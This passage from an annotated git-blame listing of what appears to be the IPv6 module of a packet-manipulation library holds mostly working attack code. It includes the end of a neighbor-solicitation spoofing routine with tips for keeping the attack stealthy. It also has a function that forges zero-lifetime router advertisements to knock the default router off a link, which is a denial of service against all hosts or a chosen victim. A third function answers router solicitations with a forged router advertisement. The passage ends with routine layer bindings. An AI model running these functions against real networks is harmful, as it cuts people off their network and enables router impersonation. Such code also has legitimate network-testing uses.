3588af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         for this parameter in order for the packet to be sent only to the
3589af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         victim.
3590af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3591af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    src_mac: the MAC address used as source of the packet. By default, this
3592af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         is the address of the interface. If you want to be more stealth,
3593af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         feel free to use something else. Note that this address is not the
3594af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         that the victim will use to populate its neighbor cache.
3595af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3596af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    dst_mac: The MAC address used as destination address of the packet. If
3597af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         the IPv6 destination address is multicast (all-nodes, solicited
3598af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         node, ...), it will be computed. If the destination address is
3599af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         unicast, a neighbor solicitation will be performed to get the
3600af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         associated address. If you want the attack to be stealth, you
3601af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         can provide the MAC address using this parameter.
3602af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3603af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    loop: By default, this parameter is True, indicating that NS packets
3604af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         will be sent in loop, separated by 'inter' seconds (see below).
3605af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         When set to False, a single packet is sent.
3606af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3607af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    inter: When loop parameter is True (the default), this parameter provides
3608af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         the interval in seconds used for sending NS packets.
3609af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3610af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    iface: to force the sending interface.
3611af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    """
3612af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3613af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    if not iface:
3614af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        iface = conf.iface
3615af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3616af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    # Use provided MAC address as source link-layer address option
3617af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    # or the MAC address of the interface if none is provided.
3618af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    if not src_lladdr:
3619af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        src_lladdr = get_if_hwaddr(iface)
3620af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3621af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    # Prepare packets parameters
3622af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    ether_params = {}
3623af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    if src_mac:
3624af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        ether_params["src"] = src_mac
3625af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3626af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    if dst_mac:
3627af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        ether_params["dst"] = dst_mac
3628af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3629af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    ipv6_params = {}
3630af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    if src:
3631af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        ipv6_params["src"] = src
3632af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    if dst:
3633af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        ipv6_params["dst"] = dst
3634af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    else:
3635af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        # Compute the solicited-node multicast address
3636af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        # associated with the target address.
3637af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        tmp = inet_ntop(socket.AF_INET6,
3638af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard                        in6_getnsma(inet_pton(socket.AF_INET6, target)))
3639af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        ipv6_params["dst"] = tmp
3640af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3641af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    pkt = Ether(**ether_params)
3642af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    pkt /= IPv6(**ipv6_params)
3643af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    pkt /= ICMPv6ND_NS(tgt=target)
3644af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    pkt /= ICMPv6NDOptSrcLLAddr(lladdr=src_lladdr)
3645af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3646af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    sendp(pkt, inter=inter, loop=loop, iface=iface, verbose=0)
3647af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3648af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3649af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalarddef NDP_Attack_Kill_Default_Router(iface=None, mac_src_filter=None,
3650af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard                                   ip_src_filter=None, reply_mac=None,
3651af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard                                   tgt_mac=None):
3652af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    """
3653af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    The purpose of the function is to monitor incoming RA messages
3654af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    sent by default routers (RA with a non-zero Router Lifetime values)
3655af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    and invalidate them by immediately replying with fake RA messages
3656af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    advertising a zero Router Lifetime value.
3657af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3658af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    The result on receivers is that the router is immediately invalidated,
3659af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    i.e. the associated entry is discarded from the default router list
3660af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    and destination cache is updated to reflect the change.
3661af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3662af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    By default, the function considers all RA messages with a non-zero
3663af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    Router Lifetime value but provides configuration knobs to allow
3664af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    filtering RA sent by specific routers (Ethernet source address).
3665af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    With regard to emission, the multicast all-nodes address is used
3666af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    by default but a specific target can be used, in order for the DoS to
3667af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    apply only to a specific host.
3668af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3669af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    More precisely, following arguments can be used to change the behavior:
3670af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3671af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    iface: a specific interface (e.g. "eth0") of the system on which the
3672af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         DoS should be launched. If None is provided conf.iface is used.
3673af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3674af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    mac_src_filter: a mac address (e.g "00:13:72:8c:b5:69") to filter on.
3675af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         Only RA messages received from this source will trigger replies.
3676af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         If other default routers advertised their presence on the link,
3677af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         their clients will not be impacted by the attack. The default
3678af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         value is None: the DoS is not limited to a specific mac address.
3679af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3680af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    ip_src_filter: an IPv6 address (e.g. fe80::21e:bff:fe4e:3b2) to filter
3681af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         on. Only RA messages received from this source address will trigger
3682af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         replies. If other default routers advertised their presence on the
3683af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         link, their clients will not be impacted by the attack. The default
3684af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         value is None: the DoS is not limited to a specific IPv6 source
3685af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         address.
3686af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3687af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    reply_mac: allow specifying a specific source mac address for the reply,
3688af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         i.e. to prevent the use of the mac address of the interface.
3689af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3690af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    tgt_mac: allow limiting the effect of the DoS to a specific host,
3691af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         by sending the "invalidating RA" only to its mac address.
3692af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    """
3693af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3694af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    def is_request(req, mac_src_filter, ip_src_filter):
3695af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        """
3696af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        Check if packet req is a request
3697af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        """
3698af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3699af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        if not (Ether in req and IPv6 in req and ICMPv6ND_RA in req):
3700af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard            return 0
3701af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3702af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        mac_src = req[Ether].src
3703af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        if mac_src_filter and mac_src != mac_src_filter:
3704af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard            return 0
3705af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3706af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        ip_src = req[IPv6].src
3707af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        if ip_src_filter and ip_src != ip_src_filter:
3708af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard            return 0
3709af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3710af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        # Check if this is an advertisement for a Default Router
3711af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        # by looking at Router Lifetime value
3712af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        if req[ICMPv6ND_RA].routerlifetime == 0:
3713af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard            return 0
3714af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3715af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        return 1
3716af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3717af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    def ra_reply_callback(req, reply_mac, tgt_mac, iface):
3718af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        """
3719af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        Callback that sends an RA with a 0 lifetime
3720af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        """
3721af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3722af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        # Let's build a reply and send it
3723af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3724af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        src = req[IPv6].src
3725af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3726af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        # Prepare packets parameters
3727af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        ether_params = {}
3728af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        if reply_mac:
3729af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard            ether_params["src"] = reply_mac
3730af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3731af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        if tgt_mac:
3732af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard            ether_params["dst"] = tgt_mac
3733af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3734af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        # Basis of fake RA (high pref, zero lifetime)
3735af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        rep = Ether(**ether_params)/IPv6(src=src, dst="ff02::1")
3736af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        rep /= ICMPv6ND_RA(prf=1, routerlifetime=0)
3737af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3738af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        # Add it a PIO from the request ...
3739af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        tmp = req
3740af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        while ICMPv6NDOptPrefixInfo in tmp:
3741af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard            pio = tmp[ICMPv6NDOptPrefixInfo]
3742af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard            tmp = pio.payload
3743af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard            del(pio.payload)
3744af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard            rep /= pio
3745af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3746af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        # ... and source link layer address option
3747af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        if ICMPv6NDOptSrcLLAddr in req:
3748af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard            mac = req[ICMPv6NDOptSrcLLAddr].lladdr
3749af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        else:
3750af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard            mac = req[Ether].src
3751af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        rep /= ICMPv6NDOptSrcLLAddr(lladdr=mac)
3752af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3753af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        sendp(rep, iface=iface, verbose=0)
3754af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3755af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        print "Fake RA sent with source address %s" % src
3756af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3757af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3758af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    if not iface:
3759af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        iface = conf.iface
3760af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    # To prevent sniffing our own traffic
3761af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    if not reply_mac:
3762af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        reply_mac = get_if_hwaddr(iface)
3763af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    sniff_filter = "icmp6 and not ether src %s" % reply_mac
3764af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3765af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    sniff(store=0,
3766af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard          filter=sniff_filter,
3767af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard          lfilter=lambda x: is_request(x, mac_src_filter, ip_src_filter),
3768af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard          prn=lambda x: ra_reply_callback(x, reply_mac, tgt_mac, iface),
3769af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard          iface=iface)
3770af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3771af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3772af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalarddef NDP_Attack_Fake_Router(ra, iface=None, mac_src_filter=None,
3773af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard                           ip_src_filter=None):
3774af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    """
3775af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    The purpose of this function is to send provided RA message at layer 2
3776af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    (i.e. providing a packet starting with IPv6 will not work) in response
3777af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    to received RS messages. In the end, the function is a simple wrapper
3778af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    around sendp() that monitor the link for RS messages.
3779af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3780af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    It is probably better explained with an example:
3781af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3782af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard      >>> ra  = Ether()/IPv6()/ICMPv6ND_RA()
3783af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard      >>> ra /= ICMPv6NDOptPrefixInfo(prefix="2001:db8:1::", prefixlen=64)
3784af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard      >>> ra /= ICMPv6NDOptPrefixInfo(prefix="2001:db8:2::", prefixlen=64)
3785af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard      >>> ra /= ICMPv6NDOptSrcLLAddr(lladdr="00:11:22:33:44:55")
3786af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard      >>> NDP_Attack_Fake_Router(ra, iface="eth0")
3787af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard      Fake RA sent in response to RS from fe80::213:58ff:fe8c:b573
3788af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard      Fake RA sent in response to RS from fe80::213:72ff:fe8c:b9ae
3789af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard      ...
3790af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3791af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    Following arguments can be used to change the behavior:
3792af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3793af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard      ra: the RA message to send in response to received RS message.
3794af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3795af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard      iface: a specific interface (e.g. "eth0") of the system on which the
3796af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard             DoS should be launched. If none is provided, conf.iface is
3797af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard             used.
3798af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3799af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard      mac_src_filter: a mac address (e.g "00:13:72:8c:b5:69") to filter on.
3800af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         Only RS messages received from this source will trigger a reply.
3801af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         Note that no changes to provided RA is done which imply that if
3802af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         you intend to target only the source of the RS using this option,
3803af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         you will have to set the Ethernet destination address to the same
3804af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         value in your RA.
3805af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         The default value for this parameter is None: no filtering on the
3806af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         source of RS is done.
3807af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3808af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    ip_src_filter: an IPv6 address (e.g. fe80::21e:bff:fe4e:3b2) to filter
3809af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         on. Only RS messages received from this source address will trigger
3810af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         replies. Same comment as for previous argument apply: if you use
3811af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         the option, you will probably want to set a specific Ethernet
3812af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         destination address in the RA.
3813af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    """
3814af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3815af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    def is_request(req, mac_src_filter, ip_src_filter):
3816af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        """
3817af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        Check if packet req is a request
3818af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        """
3819af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3820af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        if not (Ether in req and IPv6 in req and ICMPv6ND_RS in req):
3821af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard            return 0
3822af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3823af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        mac_src = req[Ether].src
3824af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        if mac_src_filter and mac_src != mac_src_filter:
3825af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard            return 0
3826af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3827af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        ip_src = req[IPv6].src
3828af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        if ip_src_filter and ip_src != ip_src_filter:
3829af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard            return 0
3830af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3831af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        return 1
3832af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3833af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    def ra_reply_callback(req, iface):
3834af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        """
3835af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        Callback that sends an RA in reply to an RS
3836af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        """
3837af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3838af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        src = req[IPv6].src
3839af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        sendp(ra, iface=iface, verbose=0)
3840af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        print "Fake RA sent in response to RS from %s" % src
3841af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3842af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    if not iface:
3843af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        iface = conf.iface
3844af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    sniff_filter = "icmp6"
3845af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3846af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    sniff(store=0,
3847af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard          filter=sniff_filter,
3848af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard          lfilter=lambda x: is_request(x, mac_src_filter, ip_src_filter),
3849af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard          prn=lambda x: ra_reply_callback(x, iface),
3850af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard          iface=iface)
3851af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3852af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3853af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard#############################################################################
3854af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard#############################################################################
3855c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil###                          Layers binding                               ###
3856c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
3857c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
3858c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3859614f54fc4b269030ba2934b6c353fb43de886e04Philconf.l3types.register(ETH_P_IPV6, IPv6)
3860614f54fc4b269030ba2934b6c353fb43de886e04Philconf.l2types.register(31, IPv6)
3861c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3862c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilbind_layers(Ether,     IPv6,     type = 0x86dd )
3863e0602343e528b8c9a53f20a0a40994eb1bb33436rbu@localhost.localdomainbind_layers(CookedLinux, IPv6,   proto = 0x86dd )
386435f97efc53839f6366918c251dba5df2ac553c8dGuillaume Valadonbind_layers(Loopback,  IPv6,     type = 0x1c )
3865c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilbind_layers(IPerror6,  TCPerror, nh = socket.IPPROTO_TCP )
3866c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilbind_layers(IPerror6,  UDPerror, nh = socket.IPPROTO_UDP )
3867c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilbind_layers(IPv6,      TCP,      nh = socket.IPPROTO_TCP )
3868c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilbind_layers(IPv6,      UDP,      nh = socket.IPPROTO_UDP )
3869c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilbind_layers(IP,        IPv6,     proto = socket.IPPROTO_IPV6 )
3870c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilbind_layers(IPv6,      IPv6,     nh = socket.IPPROTO_IPV6 )
387117b4ef20fe8a6ca5e1387900ca329c5d1bcfe05dGuillaume Valadonbind_layers(IPv6,      IP,       nh = socket.IPPROTO_IPIP )
3872